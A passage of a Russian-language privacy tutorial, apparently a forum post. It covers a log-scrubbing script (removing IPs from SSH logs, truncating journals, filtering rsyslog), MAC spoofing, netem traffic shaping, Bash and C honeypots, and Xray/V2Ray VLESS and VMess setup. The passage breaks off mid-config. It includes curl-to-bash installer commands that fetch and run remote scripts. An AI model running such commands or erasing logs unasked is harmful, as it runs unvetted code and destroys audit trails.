    if systemctl is-active --quiet cron; then
        log_message "Служба cron активна"
    else
        log_message "Служба cron неактивна, попытка запуска..."
        systemctl start cron 2>> "$LOG_FILE"
        if systemctl is-active --quiet cron; then
            log_message "Служба cron успешно запущена"
        else
            log_message "Ошибка: Не удалось запустить cron"
            exit 1
        fi
    fi
}

configure_logrotate() {
    if [ -f "$LOGROTATE_CONF" ]; then
        log_message "Настройка logrotate для сжатия и защиты логов..."
        cat << EOF > "$LOGROTATE_CONF"
/var/log/syslog {
    daily
    maxsize 50M
    rotate 7
    compress
    create 640 root adm
    postrotate
        /usr/lib/rsyslog/rsyslog-rotate
    endscript
}
EOF
        log_message "logrotate настроен для /var/log/syslog"
    else
        log_message "Предупреждение: Файл $LOGROTATE_CONF не найден, пропуск настройки logrotate"
    fi
}

main() {
    log_message "Начало выполнения скрипта"
    check_root
    filter_ssh_logs
    configure_systemd
    configure_journald
    clean_tmp
    configure_rsyslog
    create_cron_script
    check_cron
    configure_logrotate
    log_message "Скрипт успешно выполнен"
    echo "Все задачи выполнены. Логи сохранены в $LOG_FILE"
}

main
exit 0

Проверяем:
photo_2025-10-05_19-55-03.jpg


Сначала скрипт проверяет, что запущен от root, иначе ничего не выйдет, и пишет все действия в /var/log/cleanup_script.log. Дальше, он фильтрует SSH-логи, убирая IP-адреса, и сохраняет чистый результат в /tmp/sshd_logs_filtered.txt. После чего настраивает systemd и journald, чтобы логи занимали не больше 50 МБ и писали только важное, плюс включает защиту логов. Временные файлы в /tmp удаляются, чтобы не оставлять мусора вроде кэшей. Для rsyslog добавляются фильтры, которые блокируют запись IP, паролей и ключей. Скрипт создаёт задачу в cron для ежедневной чистки старых файлов и урезания логов journalctl. Проверяет, что cron работает, и настраивает logrotate, чтобы сжимать и ротировать /var/log/syslog, ограничивая его 50 МБ и 7 версиями.


Смена MAC-адреса.
Смена MAC-адреса -
это полезная штука для повышения приватности, потому что MAC-адрес - это как уникальный отпечаток твоего сетевого устройства, который можно отследить. В прошлой статье я уже рассказывал, как генерировать случайные MAC-адреса на Linux, и объяснял, что такое MAC. Если коротко: это 48-битный (6 байт) идентификатор сетевого интерфейса, записанный как шесть пар шестнадцатеричных чисел, типа 00:14:22:33:44:55. Первые три байта - OUI, код производителя, выданный IEEE (например, 00:14:22 - это Dell, а 00:16:17 - D-Link), а вторые три байта - уникальный идентификатор устройства. Если хотите разобраться глубже, гляньте мою старую статью.

Здесь же, чтобы не повторяться, я просто расскажу, как автоматически выбирать MAC-адрес из готового списка, а не генерировать новый. Это удобно, если уже есть список сгенерированных mac, которые выглядят как настоящие.

Вот пример кода на bash:
Bash:
#!/bin/bash

MY_INTERFACE="eth0"
MAC_LIST=("00:14:22:33:44:55" "00:16:17:AA:BB:CC" "00:1A:2B:11:22:33")
NEW_MAC=${MAC_LIST[$RANDOM % ${#MAC_LIST[@]}]}

sudo ip link set $MY_INTERFACE down
sudo ip link set $MY_INTERFACE address "$NEW_MAC"
sudo ip link set $MY_INTERFACE up
echo "Новый MAC: $NEW_MAC"

Проверяем:
Untitled11_20251005203128.png

Скрипт работает так: задаём интерфейс (например, eth0) и массив MAC_LIST с готовыми MAC-адресами. NEW_MAC выбирается случайным образом из списка с помощью $RANDOM. Потом интерфейс опускается командой ip link set down, меняется его MAC-адрес на новый, и интерфейс поднимается обратно. В конце выводится новый MAC, чтобы ты знал, что всё сработало.


Настройка Traffic shaping
Теперь расскажу про traffic shaping, это нужено, чтобы запутать тех, кто пытается анализировать твой сетевой трафик.
Оно маскирует его, добавляя случайные задержки, меняя порядок пакетов или подкидывая фиктивные данные, чтобы никто не понял, что ты там делаешь в сети.
Когда ты сидишь в интернете, все твои действия - от просмотра сайтов до переписки в мессенджерах - создают пакеты данных с определёнными признаками: размер, частота, протоколы. DPI эти признаки ловит и может понять, что ты, например, сидишь через VPN или Tor, потому что у них свои шаблоны. Провайдер может это заметить и заблокировать соединение или просто следить за тобой. Traffic shaping ломает эти шаблоны: добавляет паузы между пакетами, чтобы они не походили на VPN, или шлёт фейковые пакеты, которые создают шум и сбивают анализ с толку. Работает это через софт, типа Obfsproxy в Tor или протоколов вроде Shadowsocks, которые маскируют трафик под обычный HTTPS, как будто ты просто сайт смотришь. Но это не без минусов: соединение может тормозить из-за задержек и лишних данных, а крутые DPI всё равно могут что-то заподозрить. Для пущей надёжности лучше мешать это с другими штуками, типа серверов в разных странах или двойного шифрования.

Настройка
Сначала устанавливаем инструменты для управления трафиком:

Код:
sudo apt install iproute2

Настраиваем задержки:
Код:
sudo tc qdisc add dev eth0 root netem delay 100ms 10ms
Эта комнда добавляет случайные задержки (100 мс ± 10 мс) на интерфейс eth0.

Далее добавляем случайную потерю пакетов:
Код:
sudo tc qdisc change dev eth0 root netem loss 0.1%
Эта комнда имитирует потерю 0.1% пакетов, чтобы затруднить анализ трафика.

Проверяем правила:
Код:
sudo tc qdisc show dev eth0

Так же вот команда для удаления правил, на всякий случай:
Код:
sudo tc qdisc del dev eth0 root

Проверяем:
photo_2025-10-05_13-40-16.jpg




Настройка ханипота
Далее расскажу про ханипоты.
Это такая штука, которая создаёт фейковые уязвимости, чтобы, например, при сканировании портов или других действиях запутать злоумышленников и отвлечь их от реальных систем.

Чтобы лучше понять их работу, представь ситуацию: сканер вроде Nmap ищет открытые порты и видит порт 21 с баннером "ProFTPD 1.3.5". Злоумышленник думает, что попал на старый FTP-сервер. Он тратит время на попытки логина, загрузки эксплойтов или брутфорса, а ханипот просто логирует его действия (IP и т.д.) в /var/log/honeypot.log. Благодаря этому ты можешь узнать, что тебя пытаются взломать, и принять меры, не подвергаясь риску.

В качестве первого примера я написал небольшую утилиту на Bash для ханипота. Идея такая: в неё можно загрузить любой порт. Она добавит его как ханипот и будет логировать любые сканирования этого порта вместе с IP сканирующего.

Пример кода:
Bash:
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
    echo "Please run this script as root (sudo $0)."
    exit 1
fi

if ! command -v nc >/dev/null 2>&1; then
    echo "Error: 'nc' (netcat) not found. Please install netcat."
    exit 1
fi

if ! command -v ss >/dev/null 2>&1; then
    echo "Error: 'ss' not found. Please install iproute2."
    exit 1
fi

PID_DIR="/tmp/honeypot_pids"
LOG_DIR="/tmp/honeypot_logs"
mkdir -p "$PID_DIR" "$LOG_DIR"

check_port() {
    local port=$1
    if ss -tuln | grep -q "127.0.0.1:$port"; then
        echo "Port $port is already in use on 127.0.0.1. Skipping..."
        return 1
    fi
    return 0
}

log_scan() {
    local ip=$1 port=$2 action=$3
    local log_file="$LOG_DIR/honeypot_log_${port}.txt"
    echo "[$(date)] SCAN DETECTED: IP=$ip, Port=$port, Action=$action" >> "$log_file"
}

start_listener() {
    local ip="127.0.0.1" port=$1 description=${2:-"No description provided"}
    local log_file="$LOG_DIR/honeypot_log_${port}.txt"
    local pid_file="$PID_DIR/honeypot_pid_${port}.pid"

    if ! check_port "$port"; then
        return 1
    fi

    echo "[$(date)] Honeypot started for port $port on $ip" > "$log_file"
    echo "Description: $description" >> "$log_file"
    echo "----------------------------------------" >> "$log_file"

    (
        while true; do
            echo "[$(date)] Listening on $ip:$port" >> "$log_file"
            # Send the description as a banner and log connection details
            echo -e "$description" | nc -l -p "$port" -s "$ip" -v 2>&1 | while read -r line; do
                echo "[$(date)] $line" >> "$log_file"
                if echo "$line" | grep -q "Connection from"; then
                    client_ip=$(echo "$line" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+')
                    log_scan "$client_ip" "$port" "Connection attempt"
                fi
            done
            echo "[$(date)] Connection closed on $ip:$port" >> "$log_file"
            log_scan "$client_ip" "$port" "Connection closed"
        done
    ) &

    local pid=$!
    echo $pid > "$pid_file"
    echo "Started listener on $ip:$port (PID: $pid, Description: $description)"
    sleep 1
    if ! ps -p "$pid" > /dev/null; then
        echo "Error: Listener on port $port (PID: $pid) failed to start."
        rm -f "$log_file" "$pid_file"
        return 1
    fi
}

stop_listener() {
    local port=$1
    local pid_file="$PID_DIR/honeypot_pid_${port}.pid"
    local log_file="$LOG_DIR/honeypot_log_${port}.txt"

    if [ -f "$pid_file" ]; then
        local pid=$(cat "$pid_file")
        if ps -p "$pid" > /dev/null; then
            kill -9 "$pid" 2>/dev/null
            sleep 1
            if ! ps -p "$pid" > /dev/null; then
                echo "Stopped listener on port $port (PID: $pid)"
                rm -f "$pid_file"
                [ -f "$log_file" ] && echo "Retained log file $log_file"
            else
                echo "Warning: Failed to stop process $pid for port $port"
                return 1
            fi
        else
            echo "No active listener found for port $port (PID: $pid)"
            rm -f "$pid_file"
        fi
    else
        echo "No listener found for port $port"
    fi

    if [ -f "$log_file" ] && ! ss -tuln | grep -q "127.0.0.1:$port"; then
        echo "Removed orphaned log file $log_file"
        rm -f "$log_file"
    fi
}

stop_all_listeners() {
    local found=false
    for pid_file in "$PID_DIR"/honeypot_pid_*.pid; do
        if [ -f "$pid_file" ]; then
            found=true
            local pid=$(cat "$pid_file")
            local port=$(basename "$pid_file" | sed 's/honeypot_pid_\([0-9]*\)\.pid/\1/')
            if ps -p "$pid" > /dev/null; then
                kill -9 "$pid" 2>/dev/null
                sleep 0.5
                if ! ps -p "$pid" > /dev/null; then
                    echo "Stopped listener on port $port (PID: $pid)"
                    rm -f "$pid_file"
                else
                    echo "Warning: Failed to stop process $pid for port $port"
                fi
            fi
        fi
    done
    if [ "$found" = false ]; then
        echo "No honeypot listeners found"
    fi
    rm -f "$LOG_DIR/honeypot_log_*.txt" && echo "Removed all honeypot log files"
    rm -rf "$PID_DIR" && echo "Removed PID directory"
}

if [ $# -eq 0 ]; then
    echo "Usage: $0 --add <port> [description] | --delete <port|all>"
    exit 1
fi

case "$1" in
    --add)
        if [ -z "$2" ]; then
            echo "Error: Port number required for --add"
            exit 1
        fi
        if ! [[ "$2" =~ ^[0-9]+$ ]] || [ "$2" -lt 1 ] || [ "$2" -gt 65535 ]; then
            echo "Error: Invalid port number '$2'. Must be between 1 and 65535."
            exit 1
        fi
        start_listener "$2" "$3"
        if [ $? -eq 0 ]; then
            echo "Honeypot setup complete!"
            echo "Scan with: nmap -p $2 127.0.0.1"
            echo "Logs are in $LOG_DIR/honeypot_log_$2.txt"
        fi
        ;;
    --delete)
        if [ -z "$2" ]; then
            echo "Error: Port number or 'all' required for --delete"
            exit 1
        fi
        if [ "$2" = "all" ]; then
            stop_all_listeners
        else
            if ! [[ "$2" =~ ^[0-9]+$ ]] || [ "$2" -lt 1 ] || [ "$2" -gt 65535 ]; then
                echo "Error: Invalid port number '$2'. Must be between 1 and 65535."
                exit 1
            fi
            stop_listener "$2"
        fi
        ;;
    *)
        echo "Unknown option: $1"
        echo "Usage: $0 --add <port> [description] | --delete <port|all>"
        exit 1
        ;;
esac

Проверяем:
photo_2025-10-05_13-42-47.jpg


Код работает так: сначала он проверяет, запущен ли с root-правами, и наличие утилит netcat (nc) и ss - без них ничего не выйдет. Потом он создаёт папки /tmp/honeypot_pids для PID процессов и /tmp/honeypot_logs для логов. Когда ты запускаешь скрипт с флагом --add <port> [description], он вызывает функцию start_listener, которая и создает ханипот.
Для этого она сначала проверяет через check_port, свободен ли порт на 127.0.0.1 - если занят, ханипот не ставится. Если порт свободен, создаётся лог-файл /tmp/honeypot_logs/honeypot_log_<port>.txt, куда пишется старт ханипота, описание.
Затем запускается netcat (nc -l -p <port> -s 127.0.0.1 -v), который слушает порт и отправляет подключившемуся клиенту описание в качестве баннера. Всё, что netcat видит, пишется в лог: когда кто-то подключается, строка "Connection from <ip>" парсится через grep, чтобы вытащить IP, и записывается в лог через log_scan с меткой времени и действием "Connection attempt". После отключения клиента пишется "Connection closed" с таким же логированием. Процесс netcat запускается в фоне, его PID сохраняется в /tmp/honeypot_pids/honeypot_pid_<port>.pid, и через ps проверяется, что он жив. Если всё ок, скрипт сообщает, что ханипот готов, и подсказывает, как проверить его с помощью nmap. Команда --delete port/all останавливает ханипот или все ханипоты, убивая процессы и чистя файлы.

К сожалению, как вы можете заметить, на Bash не выйдет прикрутить описание к портам, чтобы при сканировании с опцией -sV в Nmap злоумышленник видел то, что мы задумали. Поэтому, чтобы всё выглядело правдоподобно, для полноты картины я написал реализацию на C.

Вот пример кода:

C++:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define LOG_FILE "/var/log/honeypot.log"
#define MAX_BUFFER 1024

static const char *FTP_BANNER_21 = "220 ProFTPD 1.3.5 Server (Fake Vulnerable FTP) [::1]\r\n";
static const char *FTP_BANNER_2121 = "220 Fake FTP on Random Port\r\n";
static const char *HTTP_BANNER = "HTTP/1.1 200 OK\r\nServer: Apache/2.4.29 (Ubuntu)\r\nX-Vulnerable: Yes\r\nContent-Length: 13\r\n\r\nFake Web Page\r\n";
static const char *FTP_RESP_USER = "331 Please specify the password.\r\n";
static const char *FTP_RESP_PASS = "530 Login incorrect.\r\n";
static const char *FTP_RESP_RETR = "150 Opening data connection.\r\nFake secret.txt\r\n226 Transfer complete.\r\n";
static const char *FTP_RESP_QUIT = "221 Goodbye.\r\n";
static const char *FTP_RESP_UNKNOWN = "500 Unknown command.\r\n";

void log_message(const char *message, const char *ip, int client_port, int server_port) {
    int log_fd = open(LOG_FILE, O_WRONLY | O_APPEND | O_CREAT, 0640);
    if (log_fd < 0) return;

    time_t now = time(NULL);
    char *time_str = ctime(&now);
    time_str[strlen(time_str) - 1] = '\0';

    char log_entry[2048];
    snprintf(log_entry, sizeof(log_entry), "[%s] %s (IP: %s:%d, Port: %d)\n",
             time_str, message, ip, client_port, server_port);

    write(log_fd, log_entry, strlen(log_entry));
    close(log_fd);
}

void handle_client(int client_sock, struct sockaddr_in *client_addr, int server_port) {
    char buffer[MAX_BUFFER], log_msg[MAX_BUFFER];
    const char *ip = inet_ntoa(client_addr->sin_addr);
    int client_port = ntohs(client_addr->sin_port);

    const char *banner = (server_port == 21) ? FTP_BANNER_21 :
                         (server_port == 2121) ? FTP_BANNER_2121 : HTTP_BANNER;
    send(client_sock, banner, strlen(banner), 0);

    snprintf(log_msg, MAX_BUFFER, "Connection to port %d", server_port);
    log_message(log_msg, ip, client_port, server_port);

    while (1) {
        int bytes = recv(client_sock, buffer, MAX_BUFFER - 1, 0);
        if (bytes <= 0) break;
        buffer[bytes] = '\0';

        snprintf(log_msg, MAX_BUFFER, "Command: %s", buffer);
        log_message(log_msg, ip, client_port, server_port);

        if (server_port == 21 || server_port == 2121) {
            if (strstr(buffer, "USER")) send(client_sock, FTP_RESP_USER, 33, 0);
            else if (strstr(buffer, "PASS")) send(client_sock, FTP_RESP_PASS, 22, 0);
            else if (strstr(buffer, "RETR")) send(client_sock, FTP_RESP_RETR, 65, 0);
            else if (strstr(buffer, "QUIT")) {
                send(client_sock, FTP_RESP_QUIT, 14, 0);
                break;
            } else {
                send(client_sock, FTP_RESP_UNKNOWN, 22, 0);
            }
        } else if (server_port == 80 && strstr(buffer, "GET")) {
            send(client_sock, HTTP_BANNER, 97, 0);
            break;
        }
    }

    snprintf(log_msg, MAX_BUFFER, "Connection closed");
    log_message(log_msg, ip, client_port, server_port);
    close(client_sock);
}

void start_honeypot(int port) {
    int server_sock;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_len = sizeof(client_addr);

    server_sock = socket(AF_INET, SOCK_STREAM, 0);
    if (server_sock < 0) {
        perror("Socket creation failed");
        exit(1);
    }

    int opt = 1;
    setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(port);

    if (bind(server_sock, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
        perror("Bind failed");
        exit(1);
    }

    if (listen(server_sock, 5) < 0) {
        perror("Listen failed");
        exit(1);
    }

    char log_msg[256];
    snprintf(log_msg, sizeof(log_msg), "Honeypot started on port %d", port);
    log_message(log_msg, "0.0.0.0", 0, port);

    while (1) {
        int client_sock = accept(server_sock, (struct sockaddr*)&client_addr, &client_len);
        if (client_sock < 0) continue;

        pid_t pid = fork();
        if (pid == 0) {
            close(server_sock);
            handle_client(client_sock, &client_addr, port);
            exit(0);
        } else if (pid > 0) {
            close(client_sock);
        }
    }

    close(server_sock);
}

int main() {
    if (getuid() != 0) {
        fprintf(stderr, "Error: Run with sudo for ports < 1024\n");
        exit(1);
    }

    mkdir("/var/log", 0755);
    int log_fd = open(LOG_FILE, O_WRONLY | O_CREAT, 0640);
    if (log_fd < 0) {
        perror("Log file creation failed");
        exit(1);
    }
    close(log_fd);

    pid_t pid1 = fork();
    if (pid1 == 0) {
        start_honeypot(21);
        exit(0);
    }

    pid_t pid2 = fork();
    if (pid2 == 0) {
        start_honeypot(2121);
        exit(0);
    }

    pid_t pid3 = fork();
    if (pid3 == 0) {
        start_honeypot(80);
        exit(0);
    }

    while (1) sleep(1);
    return 0;
}
Этот код работает так: первым делом проверяется, что программа запущена с root-правами, иначе порты ниже 1024 не открыть, и создаётся лог-файл /var/log/honeypot.log. Функция start_honeypot создаёт TCP-сокет для указанного порта, настраивает его с SO_REUSEADDR, чтобы избежать проблем с повторным использованием порта, привязывает к 0.0.0.0 (все интерфейсы) и начинает прослушку. При добавлении ханипота на порт, например 21, она записывает в лог старт через log_message и ждёт подключений через accept. Для каждого клиента создаётся новый процесс, который обрабатывает соединение в handle_client. Эта функция отправляет баннер: для порта 21 - "220 ProFTPD 1.3.5 Server (Fake Vulnerable FTP)", для 2121 - "220 Fake FTP on Random Port", для 80 - HTTP-ответ с заголовком "X-Vulnerable: Yes". Она читает команды клиента, логирует их и, если это FTP-порт, отвечает на команды USER, PASS, RETR или QUIT стандартными FTP-ответами, а на неизвестные - ошибкой. Для порта 80 отвечает на GET-запросы тем же баннером. Подключения, команды и их закрытие записываются в лог с IP клиента, портом и временем. Главная функция main запускает три ханипота на портах 21, 2121 и 80 через fork, чтобы они работали параллельно.

Для сборки нужно установить:
Код:
sudo apt install build-essential

Дальше просто собрать командой:
Код:
gcc honeypot.c -o honeypot

Проверяем работу кода:
photo_2025-10-05_13-44-57.jpg


Для проверки я запустил nmap -sV -p 21,80,2121 localhost, и, как вы видите, всё работает: фейковая информация выдаётся при сканировании, а сканирования записываются в лог.

Для удобсва можно запустить мой скрипт через автозапуск. Для этого нужно создать systemd-сервис:
Код:
sudo nano /etc/systemd/system/honeypot.service

Вот что нужно поместить в файл сервиса:
Код:
[Unit]
Description=Honeypot Service
After=network.target

[Service]
ExecStart=/dir/user/honeypot
Restart=always

[Install]
WantedBy=multi-user.target

Дальше следует запустить сервис:
Код:
sudo systemctl enable honeypot && sudo systemctl start honeypot


Настройка клиента и сервера V2Ray
V2Ray - это часть Project V, набора инструментов, чтобы строить защищённые сети поверх обычного интернета.
В этом проекте трафик шифруется и маскируется под обычный веб, так что его сложно отличить от простого сёрфинга по сайтам. V2Ray появился для борьбы с цензурой в Китая, когда Shadowsocks прижали власти.

В основе V2Ray - ядро, которое управляет протоколами и маршрутизацией. Оно поддерживают несколько транспортных протоколов, таких как TCP, WebSocket, HTTP/2, QUIC или gRPC. Наиболее популярный вариант - WebSocket, так как он часто используется для обмена данными между браузерами и веб-серверами. Это позволяет замаскировать прокси-трафик под обычные HTTPS-запросы, которые выглядят как посещение обычного сайта. Трафик часто оборачивается в TLS, который шифрует данные и делает их неотличимыми от HTTPS-трафика, используемого для обычного просмотра сайтов. Например, если вы подключаетесь через WebSocket с TLS, ваш трафик внешне выглядит как соединение с обычным сайтом (например, google.com). Благодаря этому DPI, анализирующий заголовки и структуру пакетов, не может так проосто распознать прокси. Но по мимо этого V2Ray можно настроить так, чтобы трафик проходил через реальный веб-сервер (например, Nginx или Caddy), который обслуживает обычный сайт. Это нужно для того чтобы, если провайдер проверит соединение, он увидит только запросы к обычному домену, конда как сам прокси-трафик скрыт внутри. Это особенно полезно, если сервер V2Ray интегрирован с CDN, вроде Cloudflare, где трафик дополнительно маскируется под запросы к популярным сервисам.

Расскажу подробнее про протколы V2Ray. VMess - самый первый и самый старый проткол. Он стал своего рода эталоном для других протоколов Project V, таких как VLess. VMess шифрует данные с помощью AES-128-GCM, что делает его устойчивым к DPI и прочему анализу трафика.
Работает так: клиент и сервер обмениваются данными через зашифрованный канал. Для аутентификации используется UUID - уникальный идентификатор, чтобы только ты мог подключиться. Трафик передается через различные транспортные протоколы, такие как TCP, WebSocket, HTTP/2 или даже mKCP, что позволяет маскировать его под обычный веб-трафик, например, HTTPS, чтобы провайдеры или файрволы не могли легко распознать прокси. Ещё VMess поддерживает динамическое изменение портов, мультиплексирование для одновременной обработки нескольких соединений и маршрутизацию, где можно настроить, какие запросы куда направлять - например, разделять трафик по доменам или географическим регионам.
В отличие от более легковесного VLess, VMess тяжелее из-за встроенного шифрования и дополнительных проверок, но это делает его более универсальным для сложных случаев, где нужна максимальная защита. Его часто используют в связке с TLS или Cloudflare для доп-анонимности. Настраивается он через JSON-конфиги, но с клиентами вроде V2RayN или Qv2ray даже новичок справится.
VMess считается устаревшим, а при работе через просто TCP - небезопасным, однаĸо вариант VMess-over-Websockets-over-TLS может всё ещё неплохо работать.

Ещё один важный протокол в V2Ray это VLESS. VLESS, был создан как упрощенная версия VMess, и лишен встроенного шифрования, благодаря этому он быстрее и менее требователен к ресурсам. При этом безопасность в нем можно обеспечить, добавив TLS или XTLS поверх протокола. Как и VMess, VLESS использует UUID для аутентификации, но работает по принципу stateless-подхода, не сохраняя состояние сессии, что упрощает его архитектуру и ускоряет работу.
Работает проткол так: когда клиент начинает соединение, отправляя серверу UUID для аутентификации. Если всё ок, трафик идёт через выбранный транспорт - TCP, WebSocket, QUIC или gRPC, чтобы замаскировать его под обычный веб, и провайдеры не могли легко заблочить. Сервер проверяет UUID, перенаправляет запросы к нужному ресурсу, а ответы возвращает через тот же канал. Плюс VLESS поддерживает мультиплексирование для параллельной обработки нескольких потоков и механизм fallback, который автоматически переключает соединение на резервные порты в случае проблем.

Настройка VLESS
В качестве первого примера я покажу, как настроить VPN с VLESS на своём сервере и подключиться к нему с клиента на Linux. Это буду делать через Xray (форк V2Ray, где REALITY встроен для обхода блокировок). Сервер - Debian 10 на VPS.

Настройка сервера
Для начала расскажу про покупку VPS, чтобы поднять свой VPN-сервер. Для теста я взял сервер на https://rdp.sh/ - там удобно, потому что можно платить криптой. Но вы можете выбрать любого провайдера, который вам по душе.

Предполагаю, что на вашем сервере установлена Ubuntu (или Debian-подобная система). Мы используем Xray-core для VLESS с TLS (для безопасности). Это базовая настройка без домена (используем IP напрямую, но для полной защиты рекомендуется домен с Let's Encrypt). Если домена нет, TLS будет на основе самоподписанного сертификата, но клиент может жаловаться.

Сначала ставим нужные пакеты, чтобы всё работало без проблем:
Код:
apt install curl unzip nginx ufw -y

Дальше можно установить Xray автоматически через официальный скрипт:
Код:
bash -c "$(curl -L https://github.com/XTLS/Xray-install/raw/main/install-release.sh)" @ install

Или, если хочешь ручками, скачать релиз и установить сервис в ручную:
Код:
wget https://github.com/XTLS/Xray-core/releases/download/v25.3.31/Xray-linux-
64.zip
mkdir /opt/xray
unzip ./Xray-linux-64.zip -d /opt/xray
chmod +x /opt/xray/xray

Потом создаём systemd-сервис для Xray, чтобы он стартовал сам и перезапускался при сбоях.
Для этого открываем файл:
Код:
nano /usr/lib/systemd/system/xray.service

И вставляем туда:
Код:
[Unit]
Description=Xray Service
Documentation=https://github.com/xtls
After=network.target nss-lookup.target

[Service]
User=nobody
CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE
AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE
NoNewPrivileges=true
ExecStart=/opt/xray/xray run -config /opt/xray/config.json
Restart=on-failure
RestartPreventExitStatus=23
LimitNPROC=10000
LimitNOFILE=1000000

[Install]
WantedBy=multi-user.target
Этот конфиг запускает Xray после старта сети, ограничивает ресурсы и перезапускает при проблемах. Путь /opt/xray/xray и config.json должны соответствовать твоей установке.

Теперь генерируем UUID для VLESS, это как пароль для подключения:
Код:
xray uuid
Теперь пора создавать конфигурационный файл для Xray, чтобы настроить VLESS с TLS, и генерировать сертификаты для шифрования.

Сначала создаём файл конфигурации:
Код:
nano /usr/local/etc/xray/config.json

В него вставляем конфиг, заменив YOUR_UUID на сгенерированный ранее UUID, используя порт 443 для TLS:
JSON:
{
  "log": {
    "loglevel": "warning"
  },
  "inbounds": [
    {
      "port": 443,
      "protocol": "vless",
      "settings": {
        "clients": [
          {
            "id": "YOUR_UUID",
            "level": 0
          }
        ],
        "decryption": "none"
      },
      "streamSettings": {
        "network": "tcp",
        "security": "tls",
        "tlsSettings": {
          "certificates": [
            {
              "certificateFile": "/etc/ssl/certs/xray.crt",
              "keyFile": "/etc/ssl/private/xray.key"
            }
          ]
        }
      }
    }
  ],
  "outbounds": [
    {
      "protocol": "freedom"
    }
  ]
}
Сохраните (Ctrl+O, Enter, Ctrl+X).
Этот конфиг настраивает VLESS на порту 443 с TCP и TLS для маскировки под HTTPS. Логи на уровне warning, чтобы не захламлять диск. Outbound с freedom пускает трафик в интернет.

Дальше генерируем самоподписанный сертификат, если домена нет:
Код:
mkdir -p /etc/ssl/private
Код:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/xray.key -out /etc/ssl/certs/xray.crt -subj "/CN=ваш ip"

Если есть домен, ставим certbot и получаем сертификат: apt install certbot -y && certbot certonly --standalone -d yourdomain.com. В конфиге указываем пути: /etc/letsencrypt/live/yourdomain.com/fullchain.pem и privkey.pem. Это делает сервер правдоподобнее с сертификатом от Let’s Encrypt.

Теперь можно настроить Nginx, чтобы замаскировать VLESS-трафик под обычный HTTPS, это опционально, но добавляет правдоподобности.
Для этого сначала открываем файл конфигурации Nginx:
Код:
nano /etc/nginx/sites-available/default

В него вставляем такой конфиг, заменив ip_your на IP твоего сервера или домен:
Код:
server {
    listen 80;
    server_name ip_your;
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl;
    server_name ip_your;
    ssl_certificate /etc/ssl/certs/xray.crt;
    ssl_certificate_key /etc/ssl/private/xray.key;
    location / {
        root /var/www/html;
        index index.html;
    }
}
Сохраняем: Ctrl+O, Enter, Ctrl+X. Этот конфиг перенаправляет весь HTTP-трафик с порта 80 на HTTPS (порт 443), чтобы всё выглядело как обычный сайт. Сертификаты из /etc/ssl/certs/xray.crt и /etc/ssl/private/xray.key (или пути от Let’s Encrypt, если используешь домен) делают трафик похожим на HTTPS, скрывая VLESS. Блок location отвечает за отдачу простых HTML-страниц, чтобы сервер выглядел как веб-сайт.

Сначала перезапускаем Nginx, чтобы конфиг заработал:
Код:
systemctl restart nginx

Дальше открываем порты 80 и 443 в файрволе, чтобы трафик проходил:
Код:
ufw allow 80
ufw allow 443
ufw enable
Эти команды разрешают HTTP и HTTPS трафик через ufw и включают файрвол. Это важно, чтобы VLESS на порту 443 и редирект с 80 работали без проблем.

Теперь запускаем и настраиваем Xray для автозапуска:
Код:
systemctl start xray
systemctl enable xray
systemctl status xray
Первая команда стартует Xray, вторая включает его автозапуск при загрузке системы, а третья показывает, всё ли работает. Если статус active (running), то VLESS-сервер готов.

Кстати, без домена и CDN типа Cloudflare твой сервер могут блочить. Чтобы усилить маскировку, советую переключить транспорт в config.json на WebSocket (поменяй network: "tcp" на network: "ws") и настроить Nginx для поддержки WebSocket. Это делает трафик ещё больше похожим на обычный веб, что усложняет его блокировку.


Настройка клиента
Теперь пришло время настроить клиент VLESS на Linux с v2rayN.

Для этого нужно скачать v2rayN с https://github.com/2dust/v2rayN/releases, и взять v2rayN-linux-64.deb:
photo_2025-10-05_20-26-27.jpg


После чего установить его командой:
Код:
sudo dpkg -i v2rayN-linux-64.deb.

Дальше нужно сформировать VLESS-ссылку на основе вашего сервера и скопировать её:
Код:
vless://YOUR_UUID@ip_your:443?security=tls&type=tcp&sni=ip_your&fp=chrome#MyVLESS

Дальше нужно нажать на Configurations:
photo_2025-10-05_11-37-55.jpg


И только после этого в v2rayN нужно найти Import Share Links from Clipboard и нажать.

Теперь нужно загузить правила, для этого нажимаем Settings, а потом выбераем Routing Setting:
photo_2025-10-05_11-38-14.jpg


После чего импортировать дополнительные правила Import Rules и, когда всё загрузится, нажать Confirm:
photo_2025-10-05_11-38-15.jpg


Когда всё загрузится, можете нажать Reload и заново установить соединение:
photo_2025-10-05_11-38-16.jpg


Далее в нижнем меню выберите настройки подключения, у меня - Global:
photo_2025-10-05_11-38-17.jpg


Теперь всё должно работать. Ты можешь проверить, зайдя на https://whatismyipaddress.com и проверив свой IP.


Настройка VMess
Я не могу не рассказать, как настраивать VMess - это ещё один мощный протокол V2Ray. Настройка конфига похожа на VLESS, но есть свои нюансы, особенно с шифрованием и WebSocket.

Для начала нужно поставить V2Ray:
Код:
bash <(curl -L https://raw.githubusercontent.com/v2fly/fhs-install-v2ray/master/install-release.sh)

Дальше генерируем UUID для аутентификации:
Код:
bashv2ray uuid

Теперь создаём и заполняем конфиг для сервера /usr/local/etc/v2ray/config.json:
Код:
sudo nano /usr/local/etc/v2ray/config.json

Вставляем базовый конфиг для VMess с WebSocket (без TLS, для простоты), заменив id на свой UUID:
JSON:
{
  "log": {
    "loglevel": "warning"
  },
  "inbounds": [
    {
      "port": 443,
      "protocol": "vmess",
      "settings": {
        "clients": [
          {
            "id": "e7e311d6-8609-3242-f240-373e6c311c6a",
            "alterId": 0,
            "level": 0,
            "email": "user@example.com"
          }
        ],
        "disableInsecureEncryption": true
      },
      "streamSettings": {
        "network": "ws",
        "wsSettings": {
          "path": "/vmess"
        },
        "security": "none"
      }
    }
